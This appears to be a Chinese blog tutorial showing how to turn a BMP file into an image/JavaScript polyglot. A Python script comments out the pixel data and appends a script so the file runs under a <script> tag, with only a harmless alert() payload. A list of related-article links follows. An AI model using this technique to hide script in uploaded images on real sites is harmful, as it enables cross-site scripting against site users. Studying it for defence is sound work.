BMP图片使用十六进制文本编辑器打开,前面两个字母是BM,代表的是图片格式,基本上浏览器就是以这个来识别BMP图片,我们把这个后面的数据(图片二进制数据)全部注释,在其后面追加我们的攻击脚本即可

# -*- coding: cp936 -*-
img='1.bmp'
pfile=open(img,"rb")
buff=pfile.read()
#替换掉/*符号
buff=buff.replace(b'\x2F\x2A',b'\x00\x00')
pfile.close()#在第三个位置插入/*
pfile=open(img,"wb")
pfile.write(buff)
pfile.seek(2,0)
pfile.write(b'\x2F\x2A')
pfile.close()#图片数据的最后追加 */=1;
#这样就把图片的数据注释了,剩下的后面就是js的脚本
pfile=open(img,"ab")
pfile.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
pfile.write(open('t.js','rb').read())
pfile.close()
print('写入成功')

js脚本,t.js

alert('Tony');
alert('BM='+BM)

我们在浏览器里面解析看下,就可以看到两个弹出框和一张图

<img src='1.bmp' />
<script src='1.bmp'></script>

Python图片攻击相关推荐

  1. python电脑攻击_python写的ARP攻击代码实例 -电脑资料

    注:使用这个脚本需要安装scapy 包 最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题 复制代码代码如下: #coding:utf-8 #example :sudo ...

  2. chatgpt赋能python:Python图片加密:加强图片保密性的利器

    Python图片加密:加强图片保密性的利器 随着互联网的蓬勃发展,绝大部分的信息都通过数字化形式传输.数字图像作为一种广泛应用的媒介,今天已经进入了各种各样的场景中,但是其保密性却受到越来越多的挑战. ...

  3. python 图片 文本 矫正

    python 图片 文本 矫正 代码 # -*- coding: UTF-8 -*- import numpy as np import cv2 import os ## 图片旋转 def rotat ...

  4. python图片识别-Python+Opencv识别两张相似图片

    在网上看到python做图像识别的相关文章后,真心感觉python的功能实在太强大,因此将这些文章总结一下,建立一下自己的知识体系. 当然了,图像识别这个话题作为计算机科学的一个分支,不可能就在本文简 ...

  5. python图片-利用python进行识别相似图片(一)

    文章简介 在网上看到python做图像识别的相关文章后,真心感觉python的功能实在太强大,因此将这些文章总结一下,建立一下自己的知识体系. 当然了,图像识别这个话题作为计算机科学的一个分支,不可能 ...

  6. python图片通道分离

    python图片通道分离 文章目录: 一.通道分离的方法 1.opencv的split()函数 2.使用Numpy 数组分离图像通道 二.通道合并的方法 1.opencv自带的merge() 函数 2 ...

  7. python图片转字符画

    学习了下python图片转字符画,学习连接:Python 图片转字符画,觉得还挺有趣,不过图片的颜色和细节不能太多,不然效果比较差,代码如下: from PIL import Image import ...

  8. python图片转文字_【收藏】图片转成文字的方法总结,python批量图片转文字信息参考源码...

    在日常办公或者学习中,往往存在这样一个工作场景,比如,"老王,我这里有一张图片,你把里面的文字信息给我整理出来",都2021年了,你真的还在手敲图片文字信息么?那么还不赶紧收藏这篇 ...

  9. python 图片转字符画

    python 图片转字符画 项目介绍 本实验用 50 行 Python 代码完成图片转字符画小工具.通过本实验将学习到 Linux 命令行操作,Python 基础,pillow 库的使用,argpar ...

最新文章

  1. 《CCNA安全640-554认证考试指南》——6.4节复习所有考试要点
  2. php 接口数组排序,php 数组排序
  3. ServerBootstrap的启动流程
  4. 不使用物理引擎实现防止群聚行为敌人扎堆
  5. vue-element-admin中 vuex 的使用
  6. leetcode1721. 交换链表中的节点
  7. Tensorflow图像编码处理
  8. Scrum实践:每日站会
  9. 【时间序列预测】基于matlab RBF神经网络时间序列预测【含Matlab源码 1336期】
  10. Axure8.1破解码 注册码 授权码
  11. matlab传递闭包算法,传递闭包(用关系矩阵求传递闭包怎么求)
  12. erdas几何校正_ERDAS遥感图像的几何校正.docx
  13. 六一小学生计算机创新活动总结,2020小学生六一儿童节活动总结
  14. firefox flash问题
  15. 【2020东京奥运会】 数据分析及可视化
  16. e admin admin.php,EAdmin极简社区源码
  17. Docker服务条款:禁止名单内的个人团体使用,自2020年8月13日起生效
  18. sip是什么?Mac电脑如何关闭sip?关闭系统完整性保护SIP的方法教程
  19. ME51N 创建采购申请
  20. greenplum列存

热门文章

  1. 【HNOI2014】米特运输
  2. bzoj 4624 农场种植 fft
  3. BZOJ3442: 学习小组
  4. centos7 mysql
  5. php的ob函数详解
  6. 【识记】Nginx 访问控制
  7. 查询数据库中字段内容相同的记录
  8. IIS7 如何设置读取、脚本和可执行文件的执行权限
  9. 动态加载网上或者本地场景的后续
  10. VisualGDB调试,实现VS环境下调试Android